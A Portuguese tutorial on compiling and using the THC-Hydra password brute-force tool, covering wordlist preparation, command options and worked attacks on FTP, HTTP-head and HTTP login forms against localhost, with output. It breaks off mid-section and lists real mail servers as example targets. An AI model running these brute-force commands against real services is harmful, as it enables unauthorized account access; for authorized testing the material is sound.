TUTORIAL BASICO THC-HYDRA [PT-BR] Ver 2.0
- Por : MDH3LL
- Contato : mdh3ll@gmail.com
- Data : Dom 16 Out 2011 17:48:16 BRST.
- Tutorial Ver : 2.0
----------------------------------------------------------------------------
INDICE :
----------------------------------------------------------------------------
[0x00] - Sobre THC-Hydra.
[0x01] - Compilando THC-HYDRA no Linux.
+ Bibliotecas suplementares.
+ Conhecendo o PW-Inspector sem muitos detalhes.
+ Tratando wordlist sem usar o PW-Inspector.
[0x02] - Opções Hydra.
[0x03] - Exemplos Hydra.
+ Exemplo FTP
+ Exemplo http-head
+ Exemplo http-post-form
+ Exemplo http-get-form
+ Exemplo POP3
+ Exemplo SMTP
+ Exemplo IMAP
+ Exemplo SSH
+ Exemplo MYSQL
[0x04] - Proxy.
----------------------------------------------------------------------------
[0x00] Sobre THC-Hydra
* THC-Hydra: Open Source/Multiplataforma/
* Desenvolvido por uma organização Alemã chamada "The Hacker's Choice"(THC).
* O Programa pode ser adquirido gratuitamente no site oficial do projeto : http://www.thc.org/thc-hydra/
Hydra usa um mecanismo de FORÇA BRUTA/BRUTE FORCE (ou busca exaustiva):
Este tipo de ataque consiste em fazer o programa trabalhar exaustivamente
tentando combinações de senhas e nomes de usuários até chegar
ao seu objetivo obvio.
Serviços suportados (v 7.1) :
AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET,
HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET,
HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP,
MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere,
PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP,
SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2),
Telnet, VMware-Auth, VNC and XMPP.
[0x01] Compilando THC-HYDRA no Linux :
baixar source, descompactar , entrar no diretório criado :
Código:
$ wget http://www.thc.org/releases/hydra-7.1-src.tar.gz
$ tar -vzxf hydra-7.1-src.tar.gz
$ cd hydra-7.1-src/
Configurações opcionais :
--disable-xhydra não compila o xhydra (hydra GUI)
--prefix=/opt/hydra diz onde vai ser instalado o hydra.
Código:
$ ./configure --disable-xhydra --prefix=/opt/hydra
compilar, instalar e cria link simbólico :
Código:
# make && make install && ln -s /opt/hydra/hydra /usr/bin
caso queira usar o pw-inspector criar um link simbólico pra ele também :
Código:
# ln -s /opt/hydra/pw-inspector /usr/bin
Bibliotecas suplementares THC-HYDRA no Linux :
Para usar módulos como (ssh|mysql) é preciso instalar bibliotecas suplementares.
O módulo mysql pode ser instalado direto dos repositórios de qualquer debian-like.
Código:
# apt-get install libmysqlclient-dev
Para o modulo ssh segue os passos que usei no debian 6.
(As versões 0.5.* da lib ssh não funcionou - este foi o motivo
que usei a versão 0.4.0)
Código:
# apt-get install cmake openssl zlib build-essential
$ wget http://www.libssh.org/files/0.4/libssh-0.4.0.tar.gz
$ tar -vzxf libssh-0.4.0.tar.gz && cd libssh-0.4.0
$ mkdir build && cd build
$ cmake -DWITH_SSH1=ON -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/usr ..
# make && make install
Depois basta compilar o hydra novamente :
Código:
$ wget http://www.thc.org/releases/hydra-7.1-src.tar.gz
$ tar -vzxf hydra-7.1-src.tar.gz
$ cd hydra-7.1-src/
$ ./configure --disable-xhydra --prefix=/opt/hydra
# make && make install
PW-Inspector :
PW-Inspector é um utilitário que vem ao pacote hydra que serve exclusivamente
para tratar wordlists conforme os paramentos passados.
rode o 'pw-inspector' no terminal :
************************************************** ******************************
Options:
-i FILE file to read passwords from (default: stdin)
-o FILE file to write valid passwords to (default: stdout)
-m MINLEN minimum length of a valid password
-M MAXLEN maximum length of a valid password
-c MINSETS the minimum number of sets required (default: all given)
Sets:
-l lowcase characters (a,b,c,d, etc.)
-u upcase characters (A,B,C,D, etc.)
-n numbers (1,2,3,4, etc.)
-p printable characters (which are not -l/-n/-p, e.g. $,!,/,(,*, etc.)
-s special characters - all others not withint the sets above
************************************************** ******************************
Segue as opções :
-i FILE nome da wordlist que sera tratada (default: stdin).
-o FILE nome para o arquivo saída para a wordlist já tratada (default: stdout).
-m Tamanho minimo da senha.
-M Tamanho máximo da senha.
-c MINISETS número minimo de sets necessários.
Sets:
-l Caracteres minúsculos (a,b,c,d, etc.)
-u Caracteres maiúsculos (A,B,C,D, etc.)
-n Números (1,2,3,4, etc.)
-p Aqui são os caracteres que não se encaixam -l/-u/-n em são eles $,!,/,(,*, etc.)
-s Caracteres especiais - são todos que não encaixam em nenhum dos sets acima.
Exemplos :
Criar wordlist suja para os testes :
Código:
$ perl -le 'print map { ("a".."z", "A".."Z", 0..9)[rand 62] } 1..rand 10 for 1..100000' >> wordlist_suja.txt
Usando o pw-inspector para criar um nova wordlist contendo senhas com o comprimento 6 a 8.
Código:
$ pw-inspector -i wordlist_suja.txt -o wordlist_limpa.txt -m 6 -M 8
Direcionar saída padrão (stdout) para o sort ordenar a wordlist :
Código:
$ pw-inspector -i wordlist_suja.txt -m 6 -M 8 | sort >> wordlist_limpa_sort.txt
Redirecionando conteúdo ordenado para a entrada padrão (stdin) :
Código:
$ sort wordlist_suja.txt | pw-inspector -m 6 -M 8 >> wordlist_limpa_sort.txt
Obvio que neste caso abaixo não vai pegar nada se a wordlist_suja.txt foi criada
usando o script em perl acima porque obriguei o pw-inspector a pegar apenas
senhas que contenham os 2 sets (números e caracteres especiais que não existe na wordlist_suja.txt).
Código:
$ sort wordlist_suja.txt | pw-inspector -m 4 -M 4 -c 2 -n -s
Se o número minimo fosse setado para 1 pegaria as senhas que contém caracteres do "set" -n.
Tratando wordlist sem usar o PW-Inspector.
Particularmente prefiro tratar as wordlists sem usar o pw-inspector que não
atende as minhas necessidades.
Os exemplos abaixo usam comandos simples que qualquer usuário Linux deveria conhecer.
Juntando wordlists :
Código:
cat wordlist_1.txt wordlist_2.txt wordlist_3.txt >> wordlist_final.txt
Ordenando e removendo senhas duplicadas :
Código:
$ sort wordlist_suja.txt | uniq -u
Pegando senhas com o comprimento 2 a 4 contento apenas números :
Código:
$ sort wordlist_suja.txt | grep -P "^[0-9]{6,8}$"
Pegando senhas [a-z0-9] com apenas 6 caracteres :
Código:
$ sort wordlist_suja.txt | grep -P "^[a-z0-9]{6}$"
Pegando senhas [a-zA-Z] com qualquer comprimento,
removendo senhas duplicadas e jogando para uma nova lista chamada wordlist_mdh3ll.txt :
Código:
$ sort wordlist_suja.txt | grep -P "^[a-zA-Z]*$" | uniq -u >> wordlist_mdh3ll.txt
ou
$ sort wordlist_suja.txt | grep -Pi "^[a-z]*$" | uniq -u >> wordlist_mdh3ll.txt
Pegando senhas que comece com "1" e termine com "w" :
Código:
$ cat wordlist_suja.txt | grep -P "^1.*w$"
Convertendo caracteres maiúsculos para minúsculos :
Código:
$ cat wordlist_suja.txt | tr '[:upper:]' '[:lower:]' >> wordlist_minusculo.txt
ou
$ perl -ne 'print lc $_' wordlist_suja.txt
[0x02] Opções hydra :
-R Restaura sessões abordadas/quebradas.
-S Realiza conexão segura usando SSL caso seja necessário.
-s Especifica o número da porta usada para estabelecer a conexão
-l Especifica Nome|login da vitima.
-L Carrega uma lista contendo nomes|logins de vitimas (1 por linha).
-p Especifica senha.
-P Carrega uma lista com senhas (1 por linha).
-x MIN:MAX:CHARSET Gerador de senhas
Opções de geração :
* MIN - número minimo de caracteres gerados.
* MAX - número máximo de caracteres gerados.
* CHARSET - especifica os sets de caracteres.
a - letras minusculas.
A - letras maiúsculas.
1 - números.
para qualquer outro use o caractere pertencente.
Exemplos :
-x 3:5:a Gera senha com o comprimento [3-5] contendo caracteres [a-z].
-x 5:8:A Gera senha com o comprimento [5-8] contendo caracteres [A-Z].
-x 5:8:A1 Gera senha com o comprimento [5-8] com caracteres [A-Z0-9]
-x 1:3:/ Gera senha com o comprimento [1-3] contendo apenas / barra.
-x 1:3:/%,.- Gera senha com o comprimento [1-3] contendo / % , . -
-e nsr 'n' testa senha em branco / 's' testa user como pass / 'r' testa senha invertida
-u Não sei como isto funciona.
-C Usado para carregar um arquivo contendo usuário:senha (equivale a -L/-P).
-M Carrega lista de servidores para ataque paralelo, um por linha.
-o Salva as senhas encontradas dentro do arquivo especificado.
-f Faz o programa parar de trabalhar quando a senha ou usuário for encontrado.
-t Limita o número de conexões paralelas (default: 16).
-w/-W Define o tempo máximo em segundos para esperar resposta (default: 30s).
-4/-6 preferir endereços IPv4 (default) ou endereços IPv6.
-v/-V Modo [-v]erbose normal / [-V]erbose detalhado.
-U Detalhes do modulo especificado.
Server: Servidor alvo.
Exemplos:
127.0.0.1
localhost
pop.gmail.com
pop.mail.yahoo.com.br
pop3.live.com
Service: serviço/modulo/protocolo.
Exemplos:
pop3
ftp
smtp
vnc
imap
http-head
http-post-form
http-get-form
[0x03] Exemplos:
Exemplo FTP

Sintaxe:
Código:
hydra -l root -P pass.txt -w 15 localhost ftp
Saída:
************************************************** ******************************
Hydra (http://www.thc.org/thc-hydra) starting at 2011-09-11 12:25:52
[DATA] 16 tasks, 1 server, 46 login tries (l:1/p:46), ~2 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 127.0.0.1 login: nobody password: culture123
[STATUS] attack finished for localhost (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2011-09-11 12:25:53
************************************************** ******************************
Encontrou :
[21][ftp] host: 127.0.0.1 login: nobody password: culture123
Exemplo http-head

Sintaxe:
Código:
hydra -L users.txt -P pass.txt -o out.txt localhost http-head /colt/
Saída:
************************************************** ******************************
Hydra (http://www.thc.org/thc-hydra) starting at 2011-09-11 12:19:16
[DATA] 16 tasks, 1 server, 46 login tries (l:1/p:46), ~2 tries per task
[DATA] attacking service http-head on port 80
[80][www] host: 127.0.0.1 login: lampp password: culture123
[STATUS] attack finished for localhost (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2011-09-11 12:19:16
************************************************** ******************************
O Hydra encontrou usuario:lampp senha:culture123 e salvou no arquivo out.txt
Exemplo http-post-form
Sintaxe : <url>:<form parameters>:<condition string>[:<optional>[:<optional>]

Código fonte do index.html ilustrativo :
http://127.0.0.1/login/index.html
Código HTML:
<html>
<head><title>Login</title></head>
<body>
<form method="POST" action="logar.php">
<p> Nome </p></BR>
<input type="text" name="user"></br>
<p> Senha </p></BR>
<input type="password" name="pass"></br>
<input type="submit" name="enviar" value="Enviar">
</form>
</body>
</html>
logar.php ilustrativo :
Código PHP:
<?
# logar.php ilustrativo
$user = $_POST['user'];
$pass = $_POST['pass'];
if($user == "admin" && $pass == "culture123"){
echo "Logado com sucesso!";
}else{
echo "Usuario ou senha invalida!";
}
?>
Sintaxe simples fica assim :
Código:
hydra -l admin -P pass.txt -o out.txt -t 1 -f 127.0.0.1 http-post-form "/login/logar.php:user=^USER^&pass=^PASS^:Usuario ou senha invalida"
Para criar a sintaxe a partir do http-post-form foi preciso :
Valor do atributo action do <form> : logar.php
Valor do atributo referente ao nome e senha de usuário nas tags <input> dentro do <form>: name , pass
Mensagem de erro ou parte dela: Usuario ou senha invalida
É possível usar uma mensagem de sucesso
adicionando S= antes da mensagem de sucesso :
Código:
hydra -l admin -P pass.txt -o out.txt -t 1 -f -w 15 127.0.0.1 http-post-form "/login/logar.php:user=^USER^&pass=^PASS^:S=Logado com sucesso"
Saída:
************************************************** ******************************
Hydra (http://www.thc.org/thc-hydra) starting at 2011-09-11 12:51:14
[DATA] 1 task, 1 server, 47 login tries (l:1/p:47), ~47 tries per task
[DATA] attacking service http-post-form on port 80
[80][www-form] host: 127.0.0.1 login: admin password: culture123
[STATUS] attack finished for 127.0.0.1 (valid pair found)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2011-09-11 12:51:14
************************************************** ******************************
Para detalhes execute ./hydra -U http-post-form
Exemplo http-get-form
http-get-form vai seguir o mesmo esquema da sintaxe do http-post-form.
index.html ilustrativo (http://127.0.0.1/index.html)
Código HTML:
<html>
<head><title>Login</title></head>
<body>
<form method="GET" action="enviar.php">
<p> Nome </p></BR>
<input type="text" name="tx_nome"></br>
<p> Senha </p></BR>
<input type="password" name="tx_senha"></br>
<input type="submit" name="go" value="Go">
</form>
</body>
</html>
continua...